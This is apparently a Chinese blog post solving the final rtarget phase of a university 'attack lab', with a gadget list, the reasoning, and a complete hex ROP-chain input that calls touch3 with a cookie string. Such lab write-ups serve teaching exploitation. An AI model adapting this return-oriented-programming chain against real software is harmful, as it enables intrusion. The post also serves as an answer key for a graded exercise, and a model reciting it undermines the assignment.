attack lab rtarget 2

Published 8/2/2020
Views 32

这是 attack lab 最后一个,也是最难的一个问题。我们需要利用 start_farmend_farm 之间的函数带一个字符串参数调用 touch3 函数。

还是同样,先利用 python 分析这些函数中有哪些可利用的 gadgets。通过去重,我得到下面的 gadgets:

0x4019a2: 48 89 c7 c3
    movq %rax, %rdi
0x401aad: 48 89 e0 90
    movq %rsp, %rax

0x4019ab: 58 90
    popq %rax

0x401a13: 89 ce 90 90
    movl %ecx, %esi
0x401a34: 89 d1 38 c9
    movl %edx, %ecx
0x401a3c: 89 e0 c3
    movl %esp, %eax
0x401a42: 89 c2 84 c0
    movl %eax, %edx


0x4019dc: 5c 89 c2 90
    popq %rsp
    movl %eax, %edx

由于只有 pop 语句有赋值的效果,其他 mov 语句只能拷贝,因此我们可以得到这样一张图:

我们可以将 rsp 的值,或是任何常数数字按照图上的关系传递。

考虑最终调用 touch3,需要传一个指向字符串的指针,我们肯定要先保存 rsp,再将其加上某个偏移量,使得其指向栈空间内由于溢出保存的字符串,并将其赋值给 rdi 再调用 touch3。但从图中我们似乎没找到“加上偏移量”这个操作。这里我卡了一会儿才发现其实这个操作可以直接由 add_xy 得到。

因此,我们这样完成这个操作:

  • 保存 rsprdi
  • 保存偏移量(从上一步的 rsp 到最终的字符串位置差)到 esi
  • 将结果从 rax 转移到 rdi
  • 跳转到 touch3

就可以了。栈布局就不画了,给出最后的输入:

00 00 00 00  00 00 00 00 /* paddings */
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00

ad 1a 40 00  00 00 00 00 /* -> movq %rsp, %rax */
a2 19 40 00  00 00 00 00 /* -> movq %rax, %rdi, rdi=x */ /* addr x */

ab 19 40 00  00 00 00 00 /* -> popq %rax */
48 00 00 00  00 00 00 00 /*    -> offset = 0x48 = rax */
42 1a 40 00  00 00 00 00 /* -> movl %eax, %edx */
34 1a 40 00  00 00 00 00 /* -> movl %edx, %ecx */
13 1a 40 00  00 00 00 00 /* -> movl %ecx, %esi, esi = offset */

d6 19 40 00  00 00 00 00 /* -> add_xy, make rax = x + offset */
a2 19 40 00  00 00 00 00 /* -> movq %rax, %rdi, rdi = x + offset = string */

fa 18 40 00  00 00 00 00 /* => call touch3! */

35 39 62 39  39 37 66 61 /* cookie goes here! */ /* addr y, offset=y-x */
00 00 00 00  00 00 00 00 /* make extra padding */
0 comments